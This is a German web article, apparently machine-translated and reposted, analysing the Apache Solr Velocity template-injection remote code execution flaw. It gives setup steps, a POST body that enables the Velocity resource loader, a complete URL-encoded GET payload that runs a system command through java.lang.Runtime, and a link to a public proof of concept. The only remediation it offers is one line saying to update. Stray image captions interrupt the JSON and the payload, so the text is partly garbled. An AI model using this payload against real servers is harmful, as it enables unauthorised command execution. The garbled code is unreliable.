Heim > Betrieb und Instandhaltung > Sicherheit > Beispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection

Beispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection

WBOY
Freigeben: 2023-05-19 10:37:13
nach vorne
1021 Leute haben es durchsucht

0x01 Einführung

Solr ist ein unabhängiger Suchanwendungsserver auf Unternehmensebene, der externe Dienste über die Webdienst-API-Schnittstelle bereitstellen kann. Benutzer können XML-Dateien in einem bestimmten Format über http-Anfragen an den Suchmaschinenserver senden, um Indizes zu generieren. Sie können auch Suchanfragen über HTTP-Get-Vorgänge stellen und Ergebnisse im XML-Format erhalten. 0x02 Einführung in die Sicherheitslücke Die Sicherheitsanfälligkeit bezüglich der Remote-Befehlsausführung durch Velocity-Vorlageninjektion wird ausgenutzt. Die Sicherheitsanfälligkeit kann direkt an Serverberechtigungen gelangen. 0x03 Einflussbereich Adresse: Apache Solr velocity模板注入RCE漏洞的示例分析

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

Entpacken Sie nach dem Herunterladen die Datei und geben Sie dann das bin-Verzeichnis ein, um sie auszuführen. /solr startunzip solr- 8.2.0.zip

Während des Startvorgangs werden einige Warnmeldungen angezeigt. Wir können sie beseitigen, indem wir die Datei solr.in.sh unter bin ändern und SOLR_ULIMIT_CHECKS auf false setzenvim solr .in.sh Installation

Aber ich habe festgestellt, dass Core nicht erstellt werden kann

Wir erstellen zuerst manuell einen Ordner „new_core“ im Verzeichnis /server/solr/ und kopieren dann das Verzeichnis „conf“ unter /server/solr/configsets/_default/ in das Verzeichnis „new_core“. und klicken Sie dann auf Erstellen

0x05-Schwachstellenwiederkehr

Besuchen Sie nach dem Erstellen des Kerns, um zu sehen, ob auf die Anwendungskonfigurationsdatei zugegriffen werden kann

http://ip:8983/solr/new_core/config

Apache Solr integriert standardmäßig das VelocityResponseWriter-Plug-in. Der Standardwert von params.resource.loader.enabled im Plug-in-Initialisierungsparameter ist auf „false“ gesetzt, aber die Integrationseinstellungen können direkt über eine POST-Anfrage geändert werden, die auf „true“ gesetzt ist Anschließend kann eine spezielle GET-Anfrage erstellt werden, um eine Remotecodeausführung zu erreichen. Apache Solr velocity模板注入RCE漏洞的示例分析

Verwenden Sie Burp, um das Paket dieser Seite abzurufen, erstellen Sie direkt eine POST-Anfrage und fügen Sie die folgenden Daten hinzu

{

"update-queryresponsewriter": {

Apache Solr velocity模板注入RCE漏洞的示例分析 "startup": "lazy",

"name" : „velocity“ ,Apache Solr velocity模板注入RCE漏洞的示例分析

„class“: „solr.VelocityResponseWriter“,

Apache Solr velocity模板注入RCE漏洞的示例分析 „template.base.dir“: „“,

„solr.resource.loader.enabled“: „true“,Apache Solr velocity模板注入RCE漏洞的示例分析

„params .resource.loader .enabled": "true"

Apache Solr velocity模板注入RCE漏洞的示例分析}

}

Als nächstes können wir die Nutzlast zur Implementierung von RCE konstruieren

Nutzlast:

Apache Solr velocity模板注入RCE漏洞的示例分析http://ip:8983/solr/test/select ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set ($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end

POC-Adresse: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06-Korrekturmethode

Aktualisieren Sie auf die neueste Version

Das obige ist der detaillierte Inhalt vonBeispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage